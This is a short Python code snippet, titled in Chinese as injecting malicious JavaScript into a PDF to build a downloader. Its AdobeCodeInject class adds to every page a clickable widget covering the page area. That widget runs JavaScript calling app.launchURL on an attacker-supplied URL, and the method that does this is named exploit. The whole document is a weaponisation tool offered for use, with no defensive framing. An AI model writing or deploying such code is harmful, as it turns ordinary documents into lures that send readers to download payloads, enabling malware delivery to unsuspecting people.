注入恶意JS代码到PDF实现下载器功能

class AdobeCodeInject():    def __init__(self, target_url: str) -> None:        self.target_url = target_url
    def _make_action(self) -> DictionaryObject:        # 注意：Adobe Reader 2020 以下版本的 Adobe Reader 并不支持 JavaScript 注入        # 因此需要使用 ADOBE Reader 2020 及以上版本的 Adobe Reader 才能正常注入 JavaScript 代码        # 以下代码仅作为示例，并不保证在所有 Adobe Reader 版本下都能正常注入        # 请自行检查您的 Adobe Reader 版本是否符合要求
        # 以下是 JavaScript 代码示例，点击 "Open URL" 跳转到 target_url        # 请根据您的 Adobe Reader 版本和 PDF 格式修改 JavaScript 代码以保证正常注入        js_code = f"""try {{    app.launchURL('{self.target_url}', true);}} catch (e) {{    app.alert('Error: ' + e.message);}}"""        return DictionaryObject({            NameObject("/S"): NameObject("/JavaScript"),            NameObject("/JS"): TextStringObject(js_code),        })
    def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject:        # rect: 要添加跳转的区域，默认是PDF页面上注释的位置和大小        # action: 跳转执行的位置，一个 IndirectObject 对象，表示当点击注释时要执行的 JavaScript 操作。        annot = DictionaryObject({            NameObject("/Type"): NameObject("/Annot"),            NameObject("/Subtype"): NameObject("/Widget"),            NameObject("/Rect"): rect,            NameObject("/FT"): NameObject("/Btn"),            NameObject("/T"): TextStringObject("Open URL"),            NameObject("/Ff"): NumberObject(4),             NameObject("/A"): action,        })        return annot
    def exploit(self, pdf: Pdf):        action = self._make_action()        for p in pdf.pages:            arct = p.artbox            if not isinstance(arct, RectangleObject):                arct = p.mediabox            if not isinstance(arct, RectangleObject):                arct = p.bleedbox            print(f"{p.page_number} use arct: {arct}")            annot = self._make_annot(arct, pdf.add_object(action))            pdf.add_annotation(p, annot)